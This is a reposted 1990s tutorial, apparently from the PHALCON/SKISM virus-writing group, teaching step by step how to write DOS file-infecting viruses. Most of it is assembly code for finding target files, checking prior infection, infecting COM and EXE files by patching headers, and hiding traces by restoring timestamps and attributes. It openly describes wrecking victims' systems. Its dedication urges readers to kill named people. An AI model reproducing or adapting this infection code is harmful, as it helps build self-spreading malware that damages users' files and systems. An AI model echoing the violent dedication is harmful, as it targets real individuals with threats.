..:: Virus Trojan etc ::..

Virus Tutorial 2

??????????????????????????????????????????????
DISCLAIMER: Pretend you see a disclaimer here.
99.44% of the code guaranteed to work.
??????????????????????????????????????????????
DEDICATION: Please try your best to kill those
who made this possible, especially that dumb
bitch who doesn’t know her own name (Patty),
and her lover Ross M. Greenberg.
??????????????????????????????????????????????
GREETS -N- STUFF: Greets go to all the members
of PHALCON/SKISM.  I wish to give buckets o’
thanks to Hellraiser, Garbageheap, and Demo-
gorgon.  No thanks this time to Orion Rouge,
the godly master of idiocy.
??????????????????????????????????????????????

Dark Angel’s Chunky Virus Writing Guide
???? ??????? ?????? ????? ??????? ?????

???????????????????????????????
INSTALLMENT II:  THE REPLICATOR
???????????????????????????????

In the  last installment of my Virus Writing Guide, I explained the various
parts of  a virus  and went  into a  brief discussion  about each.  In this
issue, I  shall devote  all my  attention towards the replicator portion of
the virus.  I promised code and code I shall present.

However, I  shall digress  for a moment because it has come to my attention
that some  mutant  copies  of  the  first  installment  were  inadvertently
released.   These copies  did not  contain a  vital section  concerning the
calculation of offsets.

You never  know where  your variables  and code  are going  to wind  up  in
memory.   If you think a bit, this should be pretty obvious.  Since you are
attaching the  virus to  the end  of a  program, the  location in memory is
going to  be changed,  i.e. it  will be  larger by the size of the infected
program.   So, to  compensate, we  must take  the change in offset from the
original virus,  or the  delta offset,  and add  that to  all references to
variables.

Instructions that  use displacement,  i.e. relative  offsets, need  not  be
changed.   These instructions are the JA, JB, JZ class of instructions, JMP
SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of,
say, JMP FAR PTR.

Suppose in  the following  examples, si  is somehow  loaded with  the delta
offset.

Replace
mov ax, counter
With
mov ax, word ptr [si+offset counter]

Replace
mov dx, offset message
With
lea dx, [si+offset message]

You may  be asking, “how the farg am I supposed to find the delta offset!?”
It is simple enough:

call setup
setup:
pop  si
sub  si, offset setup

An explanation  of the  above fragment  is in order.  CALL setup pushes the
location of the next instruction, i.e. offset setup, onto the stack.  Next,
this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup
(calculated at  compile-time) is  subtracted from  si, giving you the delta
offset.   In the  original virus,  the delta offset will be 0, i.e. the new
location of setup equals the old location of setup.

It is  often preferable to use bp as your delta offset, since si is used in
string instructions.  Use whichever you like.  I’ll randomly switch between
the two as suits my mood.

Now back to the other stuff…

A biological  virus is a parasitic “organism” which uses its host to spread
itself.   It must keep the host alive to keep itself “alive.”  Only when it
has spread  everywhere will  the host  die a  painful, horrible death.  The
modern electronic  virus is  no different.   It  attaches itself  to a host
system and  reproduces until the entire system is fucked.  It then proceeds
and neatly wrecks the system of the dimwit who caught the virus.

Replication is  what distinguishes  a virus  from a simple trojan.  Anybody
can write  a trojan,  but a  virus is  much more  elegant.   It acts almost
invisibly, and  catches the victim off-guard when it finally surfaces.  The
first question  is, of  course, how  does a virus spread?  Both COM and EXE
infections (along with sample infection routines) shall be presented.

There are  two major  approaches to  virii: runtime and TSR.  Runtime virii
infect, yup,  you guessed  it, when  the infected program is run, while TSR
virii go  resident  when  the  infected  programs  are  run  and  hook  the
interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon
termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and
disadvantages to  each.   Runtime virii  are harder to detect as they don’t
show up on memory maps, but, on the other hand, the delay while it searches
for and  infects a file may give it away.  TSR virii, if not properly done,
can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in
general, smaller  since they  don’t need  a function to search for files to
infect.   They are  also faster than runtime virii, also because they don’t
have to  search for files to infect.  I shall cover runtime virii here, and
TSR virii in a later installment.

Here is a summary of the infection procedure:
1) Find a file to infect.
2) Check if it meets the infection criteria.
3) See if it is already infected and if so, go back to 1.
4) Otherwise, infect the file.
5) Cover your tracks.

I shall  go through  each of  these steps and present sample code for each.
Note that  although a  complete virus  can be  built from  the  information
below, you  cannot merely  rip the  code out  and stick it together, as the
fragments are  from various  different virii that I have written.  You must
be somewhat  familiar with assembly.  I present code fragments; it is up to
you to either use them as examples or modify them for your own virii.

??????????????????????????????
STEP 1 – FIND A FILE TO INFECT
??????????????????????????????
Before you  can infect  a file,  you have  to find it first!  This can be a
bottleneck in  the performance  of the  virus, so  it  should  be  done  as
efficiently as possible.  For runtime virii, there are a few possibilities.
You could  infect files in only the current directory, or you could write a
directory traversal function to infect files in ALL directories (only a few
files per  run, of  course), or you could infect files in only a few select
directories.   Why would  you choose  to only  infect files  in the current
directory?   It would  appear to  limit the  efficacy  of  the  infections.
However, this  is done  in some  virii either  to speed  up the virus or to
shorten the code size.

Here is a directory traversal function.  It uses recursion, so it is rather
slow, but it does the job.  This was excerpted with some modifications from
The Funky Bob Ross Virus [Beta].

traverse_fcn proc    near
push    bp                      ; Create stack frame
mov     bp,sp
sub     sp,44                   ; Allocate space for DTA

call    infect_directory        ; Go to search & destroy routines

mov     ah,1Ah                  ;Set DTA
lea     dx,word ptr [bp-44]     ; to space allotted
int     21h                     ;Do it now!

mov     ah, 4Eh                 ;Find first
mov     cx,16                   ;Directory mask
lea     dx,[si+offset dir_mask] ; *.*
int     21h
jmp     short isdirok
gonow:
cmp     byte ptr [bp-14], ‘.’   ; Is first char == ‘.’?
je      short donext            ; If so, loop again
lea     dx,word ptr [bp-14]     ; else load dirname
mov     ah,3Bh                  ; and changedir there
int     21h
jc      short donext              ; Do next if invalid
inc     word ptr [si+offset nest] ; nest++
call    near ptr traverse_fcn     ; recurse directory
donext:
lea     dx,word ptr [bp-44]     ; Load space allocated for DTA
mov     ah,1Ah                  ; and set DTA to this new area
int     21h                     ; ’cause it might have changed

mov     ah,4Fh                  ;Find next
int     21h
isdirok:
jnc     gonow                   ; If OK, jmp elsewhere
cmp     word ptr [si+offset nest], 0 ; If root directory
;  (nest == 0)
jle     short cleanup                ; then Quit
dec     word ptr [si+offset nest]    ; Else decrement nest
lea     dx, [si+offset back_dir]; ‘..’
mov     ah,3Bh                  ; Change directory
int     21h                     ; to previous one
cleanup:
mov     sp,bp
pop     bp
ret
traverse_fcn endp

; Variables
nest     dw     0
back_dir db     ‘..’,0
dir_mask db     ‘*.*’,0

The code  is self-explanatory.   Make  sure  you  have  a  function  called
infect_directory which scans the directory for possible files to infect and
makes sure  it doesn’t  infect already-infected  files.   This function, in
turn, calls infect_file which infects the file.

Note, as  I said  before, this  is slow.   A  quicker method, albeit not as
global, is  the “dot  dot” method.   Hellraiser  showed me this neat little
trick.   Basically, you  keep searching  each directory and, if you haven’t
infected enough,  go to the previous directory (dot dot) and try again, and
so on.  The code is simple.

dir_loopy:
call    infect_directory
lea     dx, [bp+dotdot]
mov     ah, 3bh                 ; CHDIR
int     21h
jnc     dir_loopy               ; Carry set if in root

; Variables
dotdot  db      ‘..’,0

Now you  must find a file to infect.  This is done (in the fragments above)
by a  function called infect_directory.  This function  calls FINDFIRST and
FINDNEXT a  couple of  times to find files to infect.  You should first set
up a  new DTA.  NEVER use the DTA in the PSP (at 80h) because altering that
will affect  the command-line  parameters  of  the  infected  program  when
control is returned to it.  This is easily done with the following:

mov     ah, 1Ah                 ; Set DTA
lea     dx, [bp+offset DTA]     ; to variable called DTA (wow!)
int     21h

Where DTA  is a 42-byte chunk of memory.  Next, issue a series of FINDFIRST
and FINDNEXT calls:

mov     ah, 4Eh                 ; Find first file
mov     cx, 0007h               ; Any file attribute
lea    dx, [bp+offset file_mask]; DS:[DX] –> filemask
int     21h
jc      none_found
found_another:
call    check_infection
mov     ah, 4Fh                 ; Find next file
int     21h
jnc     found_another
none_found:

Where file_mask  is DBed  to either ‘*.EXE’,0 or ‘*.COM’,0.  Alternatively,
you could FINDFIRST for ‘*.*’,0 and check if the extension is EXE or COM.

????????????????????????????????????????
STEP 2 – CHECK VERSUS INFECTION CRITERIA
????????????????????????????????????????
Your virus  should be  judicious in  its infection.  For example, you might
not want  to  infect  COMMAND.COM,  since  some  programs  (i.e.  the  puny
FluShot+) check its CRC or checksum on runtime.  Perhaps you do not wish to
infect the  first valid file in the directory.  Ambulance Car is an example
of such  a virus.   Regardless,  if there  is some  infection criteria, you
should check  for it  now.   Here’s example  code checking  if the last two
letters are ‘ND’, a simple check for COMMAND.COM:

cmp     word ptr [bp+offset DTA+35], ‘DN’  ; Reverse word order
jz      fail_check

?????????????????????????????????????
STEP 3 – CHECK FOR PREVIOUS INFECTION
?????????????????????????????????????
Every virus has certain characteristics with which you can identify whether
a file  is infected  already.   For example,  a certain  piece of  code may
always occur  in a  predictable place.   Or  perhaps the JMP instruction is
always coded  in the  same manner.   Regardless,  you should make sure your
virus has  a marker  so that  multiple infections  of the  same file do not
occur.  Here’s an example of one such check (for a COM file infector):

mov     ah,3Fh                          ; Read first three
mov     cx, 3                           ; bytes of the file
lea     dx, [bp+offset buffer]          ; to the buffer
int     21h

mov     ax, 4202h                       ; SEEK from EOF
xor     cx, cx                          ; DX:CX = offset
xor     dx, dx                          ; Returns filesize
int     21h                             ; in DX:AX

sub     ax, virus_size + 3
cmp     word ptr [bp+offset buffer+1], ax
jnz     infect_it

bomb_out:
mov     ah, 3Eh                         ; else close the file
int     21h                             ;  and go find another

In this  example, BX  is assumed to hold a file handle to the program to be
checked for  infection and virus_size equals the size of the virus.  Buffer
is assumed  to be  a three-byte  area of  empty space.   This code fragment
reads the  first three bytes into buffer and then compares the JMP location
(located in  the word  beginning at  buffer+1) to  the filesize  If the JMP
points to  virus_size bytes  before the  EOF,  then  the  file  is  already
infected with  this virus.   Another method would be to search at a certain
location in the file for a marker byte or word.  For example:

mov     ah, 3Fh                         ; Read the first four
mov     cx, 4                           ; bytes of the file into
lea     dx, [bp+offset buffer]          ; the buffer.
int     21h

cmp     byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz      bomb_out                        ; byte for the marker
infect_it:

????????????????????????
STEP 4 – INFECT THE FILE
????????????????????????
This is  the “guts”  of the  virus, the  heart of the replicator.  Once you
have located  a potential  file, you  must save the attributes, time, date,
and size for later use.  The following is a breakdown of the DTA:

Offset     Size      What it is
0h       21 BYTES  Reserved, varies as per DOS version
15h       BYTE      File attribute
16h       WORD      File time
18h       WORD      File date
1Ah       DWORD     File size
1Eh       13 BYTES  ASCIIZ filename + extension

As you can see, the DTA holds all the vital information about the file that
you need.  The following code fragment is a sample of how to save the info:

lea  si, [bp+offset DTA+15h]            ; Start from attributes
mov  cx, 9                              ; Finish with size
lea  di, [bp+offset f_attr]             ; Move into your locations
rep  movsb
; Variables needed
f_attr  db   ?
f_time  dw   ?
f_date  dw   ?
f_size  dd   ?

You can  now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h.   This  is to  allow infection  of system, hidden, and
read only  files.   Only primitive  (or minimal)  virii cannot  handle such
files.

lea  dx, [bp+offset DTA+1eh]            ; DX points to filename in
mov  ax, 4301h                          ; DTA
xor  cx, cx                             ; Clear file attributes
int  21h                                ; Issue the call

Once the  attributes have  been annihilated,  you may  open the  file  with
callous impunity.  Use a handle open in read/write mode.

lea  dx, [bp+offset DTA+1eh]            ; Use filename in DTA
mov  ax, 3d02h                          ; Open read/write mode
int  21h                                ; duh.
xchg ax, bx                             ; Handle is more useful in
; BX

Now we come to the part you’ve all been waiting for: the infection routine.
I am  pleased to present code which will handle the infection of COM files.
Yawn, you  say, I can already do that with the information presented in the
previous installment.   Ah,  but there  is more,  much more.   A sample EXE
infector shall also be presented shortly.

The theory  behind COM  file infection was covered in the last installment,
so I shall not delve into the details again.  Here is a sample infector:

; Sample COM infector.  Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected
mov     ah, 3fh
lea     dx, [bp+buffer1]
mov     cx, 3
int     21h

mov     ax, 4200h                       ; Move file pointer to
xor     cx, cx                          ; the beginning of the
xor     dx, dx                          ; file
int     21h

mov     byte ptr [bp+buffer2], 0e9h      ; JMP
mov     ax, word ptr [bp+f_size]
sub     ax, part1_size                   ; Usually 3
mov     word ptr [bp+buffer2+1], ax      ; offset of JMP

; Encode JMP instruction to replace beginning of the file
mov     byte ptr [bp+buffer2], 0e9h      ; JMP
mov     ax, word ptr [bp+f_size]
sub     ax, part1_size                   ; Usually 3
mov     word ptr [bp+buffer2+1], ax      ; offset of JMP

; Write the JMP instruction to the beginning of the file
mov     ah, 40h                          ; Write CX bytes to
mov     cx, 3                            ; handle in BX from
lea     dx, [bp+buffer2]                 ; buffer -> DS:[DX]
int     21h

mov     ax, 4202h                        ; Move file pointer to
xor     cx, cx                           ; end of file
xor     dx, dx
int     21h

mov     ah, 40h                          ; Write CX bytes
mov     cx, endofvirus – startofpart2    ; Effective size of virus
lea     dx, [bp+startofpart2]            ; Begin write at start
int     21h

; Variables
buffer1 db 3 dup (?)                             ; Saved bytes from the
; infected file to restore
; later
buffer2 db 3 dup (?)                             ; Temp buffer

After some  examination, this code will prove to be easy to understand.  It
starts by reading the first three bytes into a buffer.  Note that you could
have done  this in  an earlier  step, such  as when  you are checking for a
previous infection.   If  you have  already done  this, you obviously don’t
need to  do it again.  This buffer must be stored in the virus so it can be
restored later when the code is executed.

EXE infections  are also  simple, although  a  bit  harder  to  understand.
First, the thoery.  Here is the format of the EXE header:

Ofs Name                Size      Comments
00  Signature           2 bytes   always 4Dh 5Ah (MZ)
*02  Last Page Size      1 word    number of bytes in last page
*04  File Pages          1 word    number of 512 byte pages
06  Reloc Items         1 word    number of entries in table
08  Header Paras        1 word    size of header in 16 byte paras
0A  MinAlloc            1 word    minimum memory required in paras
0C  MaxAlloc            1 word    maximum memory wanted in paras
*0E  PreReloc SS         1 word    offset in paras to stack segment
*10  Initial SP          1 word    starting SP value
12  Negative checksum   1 word    currently ignored
*14  Pre Reloc IP        1 word    execution start address
*16  Pre Reloc CS        1 word    preadjusted start segment
18  Reloc table offset  1 word    is offset from start of file)
1A  Overlay number      1 word    ignored if not overlay
1C  Reserved/unused     2 words
* denotes bytes which should be changed by the virus

To understand  this, you  must first  realise that EXE files are structured
into segments.  These segments may begin and end anywhere.  All you have to
do to  infect an EXE file is tack on your code to the end.  It will then be
in its  own segment.  Now all you have to do is make the virus code execute
before the  program code.   Unlike  COM  infections,  no  program  code  is
overwritten, although  the header  is modified.   Note  the virus can still
have the  V1/V2 structure,  but only V2 needs to be concatenated to the end
of the infected EXE file.

Offset 4  (File Pages)  holds the  size of the file divided by 512, rounded
up.   Offset 2 holds the size of the file modulo 512.  Offset 0Eh holds the
paragraph displacement  (relative to  the end of the header) of the initial
stack segment  and Offset 10h holds the displacement (relative to the start
of the  stack segment)  of the initial stack pointer.  Offset 16h holds the
paragraph displacement of the entry point relative to the end of the header
and offset  14h holds the displacement entry point relative to the start of
the entry  segment.   Offset 14h  and 16h are the key to adding the startup
code (the virus) to the file.

Before you  infect the  file, you  should save the CS:IP and SS:SP found in
the EXE  header, as  you need  to restore  them upon  execution.  Note that
SS:SP is NOT stored in Intel reverse-double-word format.  If you don’t know
what I’m  talking about, don’t worry; it’s only for very picky people.  You
should also save the file length as you will need to use that value several
times during  the infection  routine.   Now it’s  time  to  calculate  some
offsets!   To find  the new  CS:IP and  SS:SP, use  the following code.  It
assumes the file size is loaded in DX:AX.

mov     bx, word ptr [bp+ExeHead+8]    ; Header size in paragraphs
;  ^—make sure you don’t destroy the file handle
mov     cl, 4                          ; Multiply by 16.  Won’t
shl     bx, cl                         ; work with headers > 4096
; bytes.  Oh well!
sub     ax, bx                         ; Subtract header size from
sbb     dx, 0                          ; file size
; Now DX:AX is loaded with file size minus header size
mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX
div     cx

This code  is rather inefficient.  It would probably be easier to divide by
16 first  and then perform a straight subtraction from AX, but this happens
to be  the code  I chose.   Such is life. However, this code does have some
advantages over  the more  efficient one.   With this, you are certain that
the IP  (in DX)  will be under 15.  This allows the stack to be in the same
segment as the entry point, as long as the stack pointer is a large number.

Now AX*16+DX  points to  the end  of code.  If the virus begins immediately
after the  end of the code, AX and DX can be used as the initial CS and IP,
respectively.   However, if  the virus  has some junk (code or data) before
the entry  point, add the entry point displacement to DX (no ADC with AX is
necessary since DX will always be small).

mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in module

The SP  and SS  can now  be calculated.   The  SS is  equal to the CS.  The
actual value  of the SP is irrelevant, as long as it is large enough so the
stack will  not overwrite code (remember: the stack grows downwards).  As a
general rule,  make sure the SP is at least 100 bytes larger than the virus
size.  This should be sufficient to avoid problems.

mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS
mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP

All that  is left  to fiddle  in the  header is the file size.  Restore the
original file  size from  wherever you  saved it  to DX:AX.   To  calculate
DX:AX/512 and DX:AX MOD 512, use the following code:

mov     cl, 9                           ; Use shifts again for
ror     dx, cl                          ; division
push    ax                              ; Need to use AX again
shr     ax, cl
adc     dx, ax                          ; pages in dx
pop     ax
and     ah, 1                           ; mod 512 in ax

mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in
mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.

All that is left is writing back the EXE header and concatenating the virus
to the end of the file.  You want code?  You get code.

mov     ah, 3fh                         ; BX holds handle
mov     cx, 18h                         ; Don’t need entire header
lea     dx, [bp+ExeHead]
int     21h

call    infectexe

mov     ax, 4200h                       ; Rewind to beginning of
xor     cx, cx                          ; file
xor     dx, dx
int     21h

mov     ah, 40h                         ; Write header back
mov     cx, 18h
lea     dx, [bp+ExeHead]
int     21h

mov     ax, 4202h                       ; Go to end of file
xor     cx, cx
xor     dx, dx
int     21h

mov     ah, 40h                         ; Note: Only need to write
mov     cx, part2size                   ;       part 2 of the virus
lea     dx, [bp+offset part2start]      ;      (Parts of virus
int     21h                             ;       defined in first
;       installment of
;       the guide)

Note that this code alone is not sufficient to write a COM or EXE infector.
Code is also needed to transfer control back to the parent program.  The
information needed to do this shall be presented in the next installment.
In the meantime, you can try to figure it out on your own; just remember
that you must restore all that you changed.

??????????????????????????
STEP 5 – COVER YOUR TRACKS
??????????????????????????
This step,  though simple  to do, is too easily neglected.  It is extremely
important, as a wary user will be alerted to the presence of a virus by any
unnecessary updates  to a  file.   In its  simplest form,  it involves  the
restoration of   file  attributes, time  and date.   This  is done with the
following:

mov     ax, 5701h                      ; Set file time/date
mov     dx, word ptr [bp+f_date]       ; DX = date
mov     cx, word ptr [bp+f_time]       ; CX = time
int     21h

mov     ah, 3eh                        ; Handle close file
int     21h

mov     ax, 4301h                      ; Set attributes
lea     dx, [bp+offset DTA + 1Eh]      ; Filename still in DTA
xor     ch, ch
mov     cl, byte ptr [bp+f_attrib]     ; Attribute in CX
int     21h

Remember also to restore the directory back to the original one if it
changed during the run of the virus.

??????????????
WHAT’S TO COME
??????????????
I have been pleased with the tremendous response to the last installment of
the guide.   Next  time, I  shall cover  the rest  of the  virus as well as
various tips  and common tricks helpful in writing virii.  Until then, make
sure you  look for  40Hex, the  official PHALCON/SKISM  magazine, where  we
share tips and information pertinent to the virus community.

Leave a Reply